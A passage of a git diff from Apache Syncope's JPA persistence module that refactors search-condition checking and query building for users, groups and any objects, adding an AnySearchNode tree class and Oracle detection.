PlainAttrValue attrValue = schema.isUniqueConstraint() @@ -230,10 +231,9 @@ protected Triple check(final AnyCond cond, AnyUtils anyUtils = anyUtilsFactory.getInstance(kind); - Field anyField = anyUtils.getField(computed.getSchema()); - if (anyField == null) { - throw new IllegalArgumentException("Invalid schema " + computed.getSchema()); - } + Field anyField = Optional.ofNullable(anyUtils.getField(computed.getSchema())). + orElseThrow(() -> new IllegalArgumentException("Invalid schema " + computed.getSchema())); + // Keeps track of difference between entity's getKey() and JPA @Id fields if ("key".equals(computed.getSchema())) { computed.setSchema("id"); @@ -286,60 +286,48 @@ protected Triple check(final AnyCond cond, } protected List check(final MembershipCond cond) { - if (SyncopeConstants.UUID_PATTERN.matcher(cond.getGroup()).matches()) { - return List.of(cond.getGroup()); - } - - List matching = cond.getGroup().indexOf('%') == -1 + List groups = SyncopeConstants.UUID_PATTERN.matcher(cond.getGroup()).matches() + ? List.of(cond.getGroup()) + : cond.getGroup().indexOf('%') == -1 ? Optional.ofNullable(groupDAO.findKey(cond.getGroup())).map(List::of).orElseGet(List::of) : groupDAO.findKeysByNamePattern(cond.getGroup()); - if (matching.isEmpty()) { + + if (groups.isEmpty()) { throw new IllegalArgumentException("Could not find group(s) for " + cond.getGroup()); } - return matching; + return groups; } - protected String check(final RelationshipCond cond) { - String rightAnyObjectKey; - if (SyncopeConstants.UUID_PATTERN.matcher(cond.getAnyObject()).matches()) { - rightAnyObjectKey = cond.getAnyObject(); - } else { - AnyObject anyObject = anyObjectDAO.findByName(cond.getAnyObject()); - rightAnyObjectKey = Optional.ofNullable(anyObject).map(AnyObject::getKey).orElse(null); - } - if (rightAnyObjectKey == null) { + protected Set check(final RelationshipCond cond) { + Set rightAnyObjects = cond.getAnyObject() == null + ? Set.of() + : SyncopeConstants.UUID_PATTERN.matcher(cond.getAnyObject()).matches() + ? Set.of(cond.getAnyObject()) + : anyObjectDAO.findByName(cond.getAnyObject()).stream(). + map(AnyObject::getKey).collect(Collectors.toSet()); + + if (rightAnyObjects.isEmpty()) { throw new IllegalArgumentException("Could not find any object for " + cond.getAnyObject()); } - return rightAnyObjectKey; + return rightAnyObjects; } - protected Realm check(final AssignableCond cond) { - Realm realm = realmDAO.findByFullPath(cond.getRealmFullPath()); - if (realm == null) { - throw new IllegalArgumentException("Could not find realm for " + cond.getRealmFullPath()); - } - - return realm; - } + protected Set check(final MemberCond cond) { + Set members = cond.getMember() == null + ? Set.of() + : SyncopeConstants.UUID_PATTERN.matcher(cond.getMember()).matches() + ? Set.of(cond.getMember()) + : Optional.ofNullable(userDAO.findKey(cond.getMember())).map(Set::of). + orElseGet(() -> anyObjectDAO.findByName(cond.getMember()).stream(). + map(AnyObject::getKey).collect(Collectors.toSet())); - protected String check(final MemberCond cond) { - String memberKey; - if (SyncopeConstants.UUID_PATTERN.matcher(cond.getMember()).matches()) { - memberKey = cond.getMember(); - } else { - Any member = userDAO.findByUsername(cond.getMember()); - if (member == null) { - member = anyObjectDAO.findByName(cond.getMember()); - } - memberKey = Optional.ofNullable(member).map(Any::getKey).orElse(null); - } - if (memberKey == null) { + if (members.isEmpty()) { throw new IllegalArgumentException("Could not find user or any object for " + cond.getMember()); } - return memberKey; + return members; } @SuppressWarnings("unchecked") diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/AbstractClientAppDAO.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/AbstractClientAppDAO.java index 1cfb6dc313b..c4bcdb4b23b 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/AbstractClientAppDAO.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/AbstractClientAppDAO.java @@ -27,6 +27,7 @@ import org.apache.syncope.core.persistence.api.entity.policy.AttrReleasePolicy; import org.apache.syncope.core.persistence.api.entity.policy.AuthPolicy; import org.apache.syncope.core.persistence.api.entity.policy.Policy; +import org.apache.syncope.core.persistence.api.entity.policy.TicketExpirationPolicy; public abstract class AbstractClientAppDAO extends AbstractDAO implements ClientAppDAO { @@ -44,6 +45,8 @@ protected StringBuilder getByPolicyQuery( query.append("accessPolicy"); } else if (AttrReleasePolicy.class.isAssignableFrom(policyClass)) { query.append("attrReleasePolicy"); + } else if (TicketExpirationPolicy.class.isAssignableFrom(policyClass)) { + query.append("ticketExpirationPolicy"); } return query; diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/AbstractDAO.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/AbstractDAO.java index bcefd68db7f..117c55a97d3 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/AbstractDAO.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/AbstractDAO.java @@ -18,9 +18,16 @@ */ package org.apache.syncope.core.persistence.jpa.dao; +import java.util.Map; import java.util.Optional; +import java.util.concurrent.ConcurrentHashMap; import javax.persistence.EntityManager; import javax.persistence.EntityManagerFactory; +import org.apache.openjpa.jdbc.meta.MappingRepository; +import org.apache.openjpa.jdbc.sql.OracleDictionary; +import org.apache.openjpa.persistence.OpenJPAEntityManagerFactory; +import org.apache.openjpa.persistence.OpenJPAEntityManagerFactorySPI; +import org.apache.openjpa.persistence.OpenJPAPersistence; import org.apache.syncope.core.persistence.api.dao.DAO; import org.apache.syncope.core.persistence.api.entity.Entity; import org.apache.syncope.core.spring.ApplicationContextProvider; @@ -33,6 +40,8 @@ public abstract class AbstractDAO implements DAO { protected static final Logger LOG = LoggerFactory.getLogger(DAO.class); + private static final Map IS_ORACLE = new ConcurrentHashMap<>(); + protected EntityManagerFactory entityManagerFactory() { return EntityManagerFactoryUtils.findEntityManagerFactory( ApplicationContextProvider.getBeanFactory(), AuthContextUtils.getDomain()); @@ -53,4 +62,16 @@ public void refresh(final E entity) { public void detach(final E entity) { entityManager().detach(entity); } + + protected boolean isOracle() { + Boolean isOracle = IS_ORACLE.get(AuthContextUtils.getDomain()); + if (isOracle == null) { + OpenJPAEntityManagerFactory emf = OpenJPAPersistence.cast(entityManagerFactory()); + OpenJPAEntityManagerFactorySPI emfspi = (OpenJPAEntityManagerFactorySPI) OpenJPAPersistence.cast(emf); + isOracle = ((MappingRepository) emfspi.getConfiguration() + .getMetaDataRepositoryInstance()).getDBDictionary() instanceof OracleDictionary; + IS_ORACLE.put(AuthContextUtils.getDomain(), isOracle); + } + return isOracle; + } } diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/AnySearchNode.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/AnySearchNode.java new file mode 100644 index 00000000000..404593b7ea5 --- /dev/null +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/AnySearchNode.java @@ -0,0 +1,151 @@ +/* + * Licensed to the Apache Software Foundation (ASF) under one + * or more contributor license agreements. See the NOTICE file + * distributed with this work for additional information + * regarding copyright ownership. The ASF licenses this file + * to you under the Apache License, Version 2.0 (the + * "License"); you may not use this file except in compliance + * with the License. You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, + * software distributed under the License is distributed on an + * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY + * KIND, either express or implied. See the License for the + * specific language governing permissions and limitations + * under the License. + */ +package org.apache.syncope.core.persistence.jpa.dao; + +import java.util.ArrayList; +import java.util.List; +import java.util.Optional; +import org.apache.commons.lang3.builder.EqualsBuilder; +import org.apache.commons.lang3.builder.HashCodeBuilder; + +public class AnySearchNode { + + enum Type { + AND, + OR, + LEAF + + } + + public static class Leaf extends AnySearchNode { + + private final SearchSupport.SearchView from; + + private final String clause; + + protected Leaf(final SearchSupport.SearchView from, final String clause) { + super(Type.LEAF); + this.from = from; + this.clause = clause; + } + + public SearchSupport.SearchView getFrom() { + return from; + } + + public String getClause() { + return clause; + } + + @Override + public int hashCode() { + return new HashCodeBuilder(). + appendSuper(super.hashCode()). + append(from). + append(clause). + build(); + } + + @Override + public boolean equals(final Object obj) { + if (this == obj) { + return true; + } + if (obj == null) { + return false; + } + if (getClass() != obj.getClass()) { + return false; + } + final Leaf other = (Leaf) obj; + + return new EqualsBuilder(). + appendSuper(super.equals(obj)). + append(from, other.from). + append(clause, other.clause). + build(); + } + + @Override + public String toString() { + return "LeafNode{" + "from=" + from + ", clause=" + clause + '}'; + } + } + + private final Type type; + + private final List children = new ArrayList<>(); + + protected AnySearchNode(final Type type) { + this.type = type; + } + + protected Type getType() { + return type; + } + + protected boolean add(final AnySearchNode child) { + if (type == Type.LEAF) { + throw new IllegalArgumentException("Cannot add children to a leaf node"); + } + return children.add(child); + } + + protected List getChildren() { + return children; + } + + protected Optional asLeaf() { + return type == Type.LEAF + ? Optional.of((Leaf) this) + : Optional.empty(); + } + + @Override + public int hashCode() { + return new HashCodeBuilder(). + append(type). + append(children). + build(); + } + + @Override + public boolean equals(final Object obj) { + if (this == obj) { + return true; + } + if (obj == null) { + return false; + } + if (getClass() != obj.getClass()) { + return false; + } + final AnySearchNode other = (AnySearchNode) obj; + + return new EqualsBuilder(). + append(type, other.type). + append(children, other.children). + build(); + } + + @Override + public String toString() { + return "Node{" + "type=" + type + ", children=" + children + '}'; + } +} diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAAnyMatchDAO.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAAnyMatchDAO.java index d086fc8ad04..2c75dd7d93d 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAAnyMatchDAO.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAAnyMatchDAO.java @@ -25,7 +25,9 @@ import java.util.ArrayList; import java.util.List; import java.util.Optional; +import java.util.Set; import java.util.regex.Pattern; +import java.util.stream.Collectors; import javax.persistence.Entity; import javax.validation.ValidationException; import javax.validation.constraints.Max; @@ -44,7 +46,6 @@ import org.apache.syncope.core.persistence.api.dao.UserDAO; import org.apache.syncope.core.persistence.api.dao.search.AnyCond; import org.apache.syncope.core.persistence.api.dao.search.AnyTypeCond; -import org.apache.syncope.core.persistence.api.dao.search.AssignableCond; import org.apache.syncope.core.persistence.api.dao.search.AttrCond; import org.apache.syncope.core.persistence.api.dao.search.DynRealmCond; import org.apache.syncope.core.persistence.api.dao.search.MemberCond; @@ -61,7 +62,7 @@ import org.apache.syncope.core.persistence.api.entity.PlainAttr; import org.apache.syncope.core.persistence.api.entity.PlainAttrValue; import org.apache.syncope.core.persistence.api.entity.PlainSchema; -import org.apache.syncope.core.persistence.api.entity.Realm; +import org.apache.syncope.core.persistence.api.entity.anyobject.AnyObject; import org.apache.syncope.core.persistence.api.entity.group.Group; import org.apache.syncope.core.persistence.api.entity.user.User; import org.apache.syncope.core.persistence.jpa.entity.JPAPlainSchema; @@ -143,12 +144,6 @@ public > boolean matches(final T any, final SearchCond cond) { orElse(null); } - if (match == null) { - match = cond.getLeaf(AssignableCond.class). - map(leaf -> matches(any, leaf, not)). - orElse(null); - } - if (match == null) { match = cond.getLeaf(RoleCond.class). filter(leaf -> any instanceof User). @@ -219,12 +214,16 @@ protected boolean matches( protected boolean matches( final GroupableRelatable any, final RelationshipCond cond, final boolean not) { - String anyObject = cond.getAnyObject(); - if (!SyncopeConstants.UUID_PATTERN.matcher(cond.getAnyObject()).matches()) { - anyObject = anyObjectDAO.findKey(anyObject); - } + Set candidates = SyncopeConstants.UUID_PATTERN.matcher(cond.getAnyObject()).matches() + ? Optional.ofNullable(cond.getAnyObject()).map(Set::of).orElse(Set.of()) + : anyObjectDAO.findByName(cond.getAnyObject()).stream(). + map(AnyObject::getKey).collect(Collectors.toSet()); + + boolean found = any.getRelationships().stream(). + map(r -> r.getRightEnd().getKey()). + filter(candidates::contains). + count() > 0; - boolean found = !any.getRelationships(anyObject).isEmpty(); return not ? !found : found; } @@ -243,15 +242,6 @@ protected boolean matches( return not ? !found : found; } - protected boolean matches(final Any any, final AssignableCond cond, final boolean not) { - Realm realm = realmDAO.findByFullPath(cond.getRealmFullPath()); - boolean found = Optional.ofNullable(realm) - .filter(realm1 -> (cond.isFromGroup() ? realmDAO.findDescendants(realm1) : realmDAO. - findAncestors(realm1)). - stream().anyMatch(item -> item.equals(any.getRealm()))).isPresent(); - return not ? !found : found; - } - protected boolean matches(final User user, final RoleCond cond, final boolean not) { boolean found = userDAO.findAllRoles(user).stream().anyMatch(role -> role.getKey().equals(cond.getRole())); return not ? !found : found; @@ -387,7 +377,7 @@ protected boolean matches(final Any any, final AttrCond cond, final boolean n return false; } - found = attr.isPresent() && matches(attr.get().getValues(), attrValue, schema, cond); + found = attr.map(a -> matches(a.getValues(), attrValue, schema, cond)).orElse(false); } return not ? !found : found; } diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAAnyObjectDAO.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAAnyObjectDAO.java index 81e6870ad29..dac06483e83 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAAnyObjectDAO.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAAnyObjectDAO.java @@ -26,7 +26,7 @@ import java.util.LinkedHashMap; import java.util.List; import java.util.Map; -import java.util.Optional; +import java.util.Objects; import java.util.Set; import java.util.stream.Collectors; import javax.persistence.NoResultException; @@ -90,8 +90,52 @@ protected AnyUtils init() { @Transactional(readOnly = true) @Override - public String findKey(final String name) { - return findKey(name, JPAAnyObject.TABLE); + public AnyObject findByName(final String type, final String name) { + TypedQuery query = entityManager().createQuery( + "SELECT e FROM " + anyUtils().anyClass().getSimpleName() + " e " + + "WHERE e.type.id = :type AND e.name = :name", + AnyObject.class); + query.setParameter("type", type); + query.setParameter("name", name); + + AnyObject result = null; + try { + result = query.getSingleResult(); + } catch (NoResultException e) { + LOG.debug("No any object found with name {}", name, e); + } + + return result; + } + + @Transactional(readOnly = true) + @Override + public List findByName(final String name) { + TypedQuery query = entityManager().createQuery( + "SELECT e FROM " + anyUtils().anyClass().getSimpleName() + " e WHERE e.name = :name", + AnyObject.class); + query.setParameter("name", name); + + return query.getResultList(); + } + + @Transactional(readOnly = true) + @Override + public String findKey(final String type, final String name) { + Query query = entityManager().createNativeQuery( + "SELECT id FROM " + JPAAnyObject.TABLE + " WHERE type_id=? AND name=?"); + query.setParameter(1, type); + query.setParameter(2, name); + + String key = null; + + for (Object resultKey : query.getResultList()) { + key = resultKey instanceof Object[] + ? (String) ((Object[]) resultKey)[0] + : ((String) resultKey); + } + + return key; } @Transactional(readOnly = true) @@ -103,7 +147,7 @@ public OffsetDateTime findLastChange(final String key) { @Override public Map countByType() { Query query = entityManager().createQuery( - "SELECT e.type, COUNT(e) AS countByType FROM " + anyUtils().anyClass().getSimpleName() + " e " + "SELECT e.type, COUNT(e) AS countByType FROM " + anyUtils().anyClass().getSimpleName() + " e " + "GROUP BY e.type ORDER BY countByType DESC"); @SuppressWarnings("unchecked") List results = query.getResultList(); @@ -117,7 +161,7 @@ public Map countByType() { @Override public Map countByRealm(final AnyType anyType) { Query query = entityManager().createQuery( - "SELECT e.realm, COUNT(e) FROM " + anyUtils().anyClass().getSimpleName() + " e " + "SELECT e.realm, COUNT(e) FROM " + anyUtils().anyClass().getSimpleName() + " e " + "WHERE e.type=:type GROUP BY e.realm"); query.setParameter("type", anyType); @@ -137,8 +181,10 @@ public void securityChecks( final Collection groups) { // 1. check if AuthContextUtils.getUsername() is owner of at least one group of which anyObject is member - boolean authorized = authRealms.stream().map(RealmUtils::parseGroupOwnerRealm).filter(Optional::isPresent). - anyMatch(pair -> groups.contains(pair.get().getRight())); + boolean authorized = authRealms.stream(). + map(authRealm -> RealmUtils.parseGroupOwnerRealm(authRealm).orElse(null)). + filter(Objects::nonNull). + anyMatch(pair -> groups.contains(pair.getRight())); // 2. check if anyObject is in at least one DynRealm for which AuthContextUtils.getUsername() owns entitlement if (!authorized) { @@ -163,22 +209,6 @@ protected void securityChecks(final AnyObject anyObject) { securityChecks(authRealms, anyObject.getKey(), anyObject.getRealm().getFullPath(), findAllGroupKeys(anyObject)); } - @Override - public AnyObject findByName(final String name) { - TypedQuery query = entityManager().createQuery( - "SELECT e FROM " + anyUtils().anyClass().getSimpleName() + " e WHERE e.name = :name", AnyObject.class); - query.setParameter("name", name); - - AnyObject result = null; - try { - result = query.getSingleResult(); - } catch (NoResultException e) { - LOG.debug("No any object found with name {}", name, e); - } - - return result; - } - @Override public AMembership findMembership(final String key) { return entityManager().find(JPAAMembership.class, key); @@ -210,14 +240,14 @@ public List, AnyObject>> findAllRelationships(final AnyObjec @Override public int count() { Query query = entityManager().createQuery( - "SELECT COUNT(e) FROM " + anyUtils().anyClass().getSimpleName() + " e"); + "SELECT COUNT(e) FROM " + anyUtils().anyClass().getSimpleName() + " e"); return ((Number) query.getSingleResult()).intValue(); } @Override public List findAll(final int page, final int itemsPerPage) { TypedQuery query = entityManager().createQuery( - "SELECT e FROM " + anyUtils().anyClass().getSimpleName() + " e ORDER BY e.id", AnyObject.class); + "SELECT e FROM " + anyUtils().anyClass().getSimpleName() + " e ORDER BY e.id", AnyObject.class); query.setFirstResult(itemsPerPage * (page <= 0 ? 0 : page - 1)); query.setMaxResults(itemsPerPage); diff --git a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAAnySearchDAO.java b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAAnySearchDAO.java index 023b3708765..ba0a7dda41e 100644 --- a/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAAnySearchDAO.java +++ b/core/persistence-jpa/src/main/java/org/apache/syncope/core/persistence/jpa/dao/JPAAnySearchDAO.java @@ -19,10 +19,13 @@ package org.apache.syncope.core.persistence.jpa.dao; import java.util.ArrayList; +import java.util.HashMap; import java.util.HashSet; import java.util.List; +import java.util.Map; import java.util.Optional; import java.util.Set; +import java.util.function.Supplier; import java.util.stream.Collectors; import javax.persistence.Query; import org.apache.commons.lang3.ArrayUtils; @@ -44,7 +47,6 @@ import org.apache.syncope.core.persistence.api.dao.UserDAO; import org.apache.syncope.core.persistence.api.dao.search.AnyCond; import org.apache.syncope.core.persistence.api.dao.search.AnyTypeCond; -import org.apache.syncope.core.persistence.api.dao.search.AssignableCond; import org.apache.syncope.core.persistence.api.dao.search.AttrCond; import org.apache.syncope.core.persistence.api.dao.search.AuxClassCond; import org.apache.syncope.core.persistence.api.dao.search.DynRealmCond; @@ -77,6 +79,61 @@ public class JPAAnySearchDAO extends AbstractAnySearchDAO { + "lastChangeDate,lastModifier,status,changePwdDate,cipherAlgorithm,failedLogins," + "lastLoginDate,mustChangePassword,suspended,username"; + protected static final String ALWAYS_FALSE_CLAUSE = "1=2"; + + protected static int setParameter(final List parameters, final Object parameter) { + parameters.add(parameter); + return parameters.size(); + } + + protected static void fillWithParameters(final Query query, final List parameters) { + for (int i = 0; i < parameters.size(); i++) { + if (parameters.get(i) instanceof Boolean) { + query.setParameter(i + 1, ((Boolean) parameters.get(i)) ? 1 : 0); + } else { + query.setParameter(i + 1, parameters.get(i)); + } + } + } + + protected static String key(final AttrSchemaType schemaType) { + String key; + switch (schemaType) { + case Boolean: + key = "booleanValue"; + break; + + case Date: + key = "dateValue"; + break; + + case Double: + key = "doubleValue"; + break; + + case Long: + key = "longValue"; + break; + + case Binary: + key = "binaryValue"; + break; + + default: + key = "stringValue"; + } + + return key; + } + + protected static Supplier syncopeClientException(final String message) { + return () -> { + SyncopeClientException sce = SyncopeClientException.build(ClientExceptionType.InvalidSearchParameters); + sce.getElements().add(message); + return sce; + }; + } + public JPAAnySearchDAO( final RealmDAO realmDAO, final DynRealmDAO dynRealmDAO, @@ -100,1065 +157,1042 @@ public JPAAnySearchDAO( validator); } - protected String buildAdminRealmsFilter( - final Set realmKeys, - final SearchSupport svs, - final List parameters) { + protected SearchSupport.SearchView defaultSV(final SearchSupport svs) { + return svs.field(); + } - if (realmKeys.isEmpty()) { - return "u.any_id IS NOT NULL"; - } + protected String anyId(final SearchSupport.SearchView sv) { + return sv.alias + ".any_id"; + } - String realmKeysArg = realmKeys.stream(). - map(realmKey -> "?" + setParameter(parameters, realmKey)). - collect(Collectors.joining(",")); - return "u.any_id IN (SELECT any_id FROM " + svs.field().name - + " WHERE realm_id IN (" + realmKeysArg + "))"; + protected String anyId(final SearchSupport svs) { + return anyId(defaultSV(svs)); } - protected Triple, Set> getAdminRealmsFilter( - final Realm base, - final boolean recursive, - final Set adminRealms, + protected Optional getQueryForCustomConds( + final SearchCond cond, + final List parameters, final SearchSupport svs, - final List parameters) { + final boolean not) { - Set realmKeys = new HashSet<>(); - Set dynRealmKeys = new HashSet<>(); - Set groupOwners = new HashSet<>(); + // do nothing by default, leave it open for subclasses + return Optional.empty(); + } - if (recursive) { - adminRealms.forEach(realmPath -> { - Optional> goRealm = RealmUtils.parseGroupOwnerRealm(realmPath); - if (goRealm.isPresent()) { - groupOwners.add(goRealm.get().getRight()); - } else if (realmPath.startsWith("/")) { - Realm realm = realmDAO.findByFullPath(realmPath); - if (realm == null) { - SyncopeClientException noRealm = SyncopeClientException.build(ClientExceptionType.InvalidRealm); - noRealm.getElements().add("Invalid realm specified: " + realmPath); - throw noRealm; - } else { - realmKeys.addAll(realmDAO.findDescendants(realm).stream(). - map(Realm::getKey).collect(Collectors.toSet())); - } - } else { - DynRealm dynRealm = dynRealmDAO.find(realmPath); - if (dynRealm == null) { - LOG.warn("Ignoring invalid dynamic realm {}", realmPath); - } else { - dynRealmKeys.add(dynRealm.getKey()); - } - } - }); - if (!dynRealmKeys.isEmpty()) { - realmKeys.clear(); - } - } else { - if (adminRealms.stream().anyMatch(r -> base.getFullPath().startsWith(r))) { - realmKeys.add(base.getKey()); - } - } + protected Optional>> getQuery( + final SearchCond cond, final List parameters, final SearchSupport svs) { - return Triple.of(buildAdminRealmsFilter(realmKeys, svs, parameters), dynRealmKeys, groupOwners); - } + boolean not = cond.getType() == SearchCond.Type.NOT_LEAF; - SearchSupport buildSearchSupport(final AnyTypeKind kind) { - return new SearchViewSupport(kind); - } + Optional node = Optional.empty(); + Set plainSchemas = new HashSet<>(); - @Override - protected int doCount( - final Realm base, - final boolean recursive, - final Set adminRealms, - final SearchCond cond, - final AnyTypeKind kind) { + switch (cond.getType()) { + case LEAF: + case NOT_LEAF: + if (node.isEmpty()) { + node = cond.getLeaf(AnyTypeCond.class). + filter(leaf -> AnyTypeKind.ANY_OBJECT == svs.anyTypeKind). + map(leaf -> getQuery(leaf, not, parameters, svs)); + } - List parameters = new ArrayList<>(); + if (node.isEmpty()) { + node = cond.getLeaf(AuxClassCond.class). + map(leaf -> getQuery(leaf, not, parameters, svs)); + } - SearchSupport svs = buildSearchSupport(kind); + if (node.isEmpty()) { + node = cond.getLeaf(RelationshipTypeCond.class). + map(leaf -> getQuery(leaf, not, parameters, svs)); + } - Triple, Set> filter = - getAdminRealmsFilter(base, recursive, adminRealms, svs, parameters); + if (node.isEmpty()) { + node = cond.getLeaf(RelationshipCond.class). + map(leaf -> getQuery(leaf, not, parameters, svs)); + } - // 1. get the query string from the search condition - Pair> queryInfo = - getQuery(buildEffectiveCond(cond, filter.getMiddle(), filter.getRight(), kind), parameters, svs); + if (node.isEmpty()) { + node = cond.getLeaf(MembershipCond.class). + map(leaf -> getQuery(leaf, not, parameters, svs)); + } - StringBuilder queryString = queryInfo.getLeft(); + if (node.isEmpty()) { + node = cond.getLeaf(MemberCond.class). + map(leaf -> getQuery(leaf, not, parameters, svs)); + } - // 2. take realms into account - queryString.insert(0, "SELECT u.any_id FROM ("); - queryString.append(") u WHERE ").append(filter.getLeft()); + if (node.isEmpty()) { + node = cond.getLeaf(RoleCond.class). + filter(leaf -> AnyTypeKind.USER == svs.anyTypeKind). + map(leaf -> getQuery(leaf, not, parameters, svs)); + } - // 3. prepare the COUNT query - queryString.insert(0, "SELECT COUNT(any_id) FROM ("); - queryString.append(") count_any_id"); + if (node.isEmpty()) { + node = cond.getLeaf(PrivilegeCond.class). + filter(leaf -> AnyTypeKind.USER == svs.anyTypeKind). + map(leaf -> getQuery(leaf, not, parameters, svs)); + } - Query countQuery = entityManager().createNativeQuery(queryString.toString()); - fillWithParameters(countQuery, parameters); + if (node.isEmpty()) { + node = cond.getLeaf(DynRealmCond.class). + map(leaf -> getQuery(leaf, not, parameters, svs)); + } - return ((Number) countQuery.getSingleResult()).intValue(); - } + if (node.isEmpty()) { + node = cond.getLeaf(ResourceCond.class). + map(leaf -> getQuery(leaf, not, parameters, svs)); + } - @Override - @SuppressWarnings("unchecked") - protected > List doSearch( - final Realm base, - final boolean recursive, - final Set adminRealms, - final SearchCond cond, - final int page, - final int itemsPerPage, - final List orderBy, - final AnyTypeKind kind) { + if (node.isEmpty()) { + node = cond.getLeaf(AnyCond.class). + map(anyCond -> getQuery(anyCond, not, parameters, svs)). + or(() -> cond.getLeaf(AttrCond.class). + map(attrCond -> { + Pair checked = check(attrCond, svs.anyTypeKind); + plainSchemas.add(checked.getLeft().getKey()); + return getQuery(attrCond, not, checked, parameters, svs); + })); + } - try { - List parameters = new ArrayList<>(); + // allow for additional search conditions + if (node.isEmpty()) { + node = getQueryForCustomConds(cond, parameters, svs, not); + } + break; - SearchSupport svs = buildSearchSupport(kind); + case AND: + AnySearchNode andNode = new AnySearchNode(AnySearchNode.Type.AND); - Triple, Set> filter = - getAdminRealmsFilter(base, recursive, adminRealms, svs, parameters); + getQuery(cond.getLeft(), parameters, svs).ifPresent(left -> { + andNode.add(left.getLeft()); + plainSchemas.addAll(left.getRight()); + }); - // 1. get the query string from the search condition - Pair> queryInfo = - getQuery(buildEffectiveCond(cond, filter.getMiddle(), filter.getRight(), kind), parameters, svs); + getQuery(cond.getRight(), parameters, svs).ifPresent(right -> { + andNode.add(right.getLeft()); + plainSchemas.addAll(right.getRight()); + }); - StringBuilder queryString = queryInfo.getLeft(); + if (!andNode.getChildren().isEmpty()) { + node = Optional.of(andNode); + } + break; - LOG.debug("Query: {}, parameters: {}", queryString, parameters); + case OR: + AnySearchNode orNode = new AnySearchNode(AnySearchNode.Type.OR); - // 2. take into account realms and ordering - OrderBySupport obs = parseOrderBy(svs, orderBy); - if (queryString.charAt(0) == '(') { - queryString.insert(0, buildSelect(obs)); - } else { - queryString.insert(0, buildSelect(obs).append('(')); - queryString.append(')'); - } - queryString. - append(buildWhere(svs, obs)). - append(filter.getLeft()). - append(buildOrderBy(obs)); + getQuery(cond.getLeft(), parameters, svs).ifPresent(left -> { + orNode.add(left.getLeft()); + plainSchemas.addAll(left.getRight()); + }); - LOG.debug("Query with auth and order by statements: {}, parameters: {}", queryString, parameters); + getQuery(cond.getRight(), parameters, svs).ifPresent(right -> { + orNode.add(right.getLeft()); + plainSchemas.addAll(right.getRight()); + }); - // 3. prepare the search query - Query query = entityManager().createNativeQuery(queryString.toString()); + if (!orNode.getChildren().isEmpty()) { + node = Optional.of(orNode); + } + break; - // 4. page starts from 1, while setFirtResult() starts from 0 - query.setFirstResult(itemsPerPage * (page <= 0 ? 0 : page - 1)); + default: + } - if (itemsPerPage >= 0) { - query.setMaxResults(itemsPerPage); - } + return node.map(n -> Pair.of(n, plainSchemas)); + } - // 5. populate the search query with parameter values - fillWithParameters(query, parameters); + protected AnySearchNode getQuery( + final AnyTypeCond cond, + final boolean not, + final List parameters, + final SearchSupport svs) { - // 6. Prepare the result (avoiding duplicates) - return buildResult(query.getResultList(), kind); - } catch (SyncopeClientException e) { - throw e; - } catch (Exception e) { - LOG.error("While searching for {}", kind, e); + StringBuilder clause = new StringBuilder("type_id"); + if (not) { + clause.append("<>"); + } else { + clause.append('='); } + clause.append('?').append(setParameter(parameters, cond.getAnyTypeKey())); - return List.of(); + return new AnySearchNode.Leaf(defaultSV(svs), clause.toString()); } - protected int setParameter(final List parameters, final Object parameter) { - parameters.add(parameter); - return parameters.size(); - } + protected AnySearchNode getQuery( + final AuxClassCond cond, + final boolean not, + final List parameters, + final SearchSupport svs) { - protected void fillWithParameters(final Query query, final List parameters) { - for (int i = 0; i < parameters.size(); i++) { - if (parameters.get(i) instanceof Boolean) { - query.setParameter(i + 1, ((Boolean) parameters.get(i)) ? 1 : 0); - } else { - query.setParameter(i + 1, parameters.get(i)); - } + StringBuilder clause = new StringBuilder(); + if (not) { + clause.append(anyId(svs)).append(" NOT IN ("); + } else { + clause.append(anyId(svs)).append(" IN ("); } + clause.append("SELECT any_id FROM "). + append(svs.auxClass().name). + append(" WHERE anyTypeClass_id=?"). + append(setParameter(parameters, cond.getAuxClass())). + append(')'); + + return new AnySearchNode.Leaf(defaultSV(svs), clause.toString()); } - protected StringBuilder buildSelect(final OrderBySupport obs) { - StringBuilder select = new StringBuilder("SELECT DISTINCT u.any_id"); + protected AnySearchNode getQuery( + final RelationshipTypeCond cond, + final boolean not, + final List parameters, + final SearchSupport svs) { - obs.items.forEach(item -> select.append(',').append(item.select)); - select.append(" FROM "); + StringBuilder clause = new StringBuilder(); + if (not) { + clause.append(anyId(svs)).append(" NOT IN ("); + } else { + clause.append(anyId(svs)).append(" IN ("); + } + clause.append("SELECT any_id ").append("FROM "). + append(svs.relationship().name). + append(" WHERE type=?").append(setParameter(parameters, cond.getRelationshipTypeKey())). + append(" UNION SELECT right_any_id AS any_id FROM "). + append(svs.relationship().name). + append(" WHERE type=?").append(setParameter(parameters, 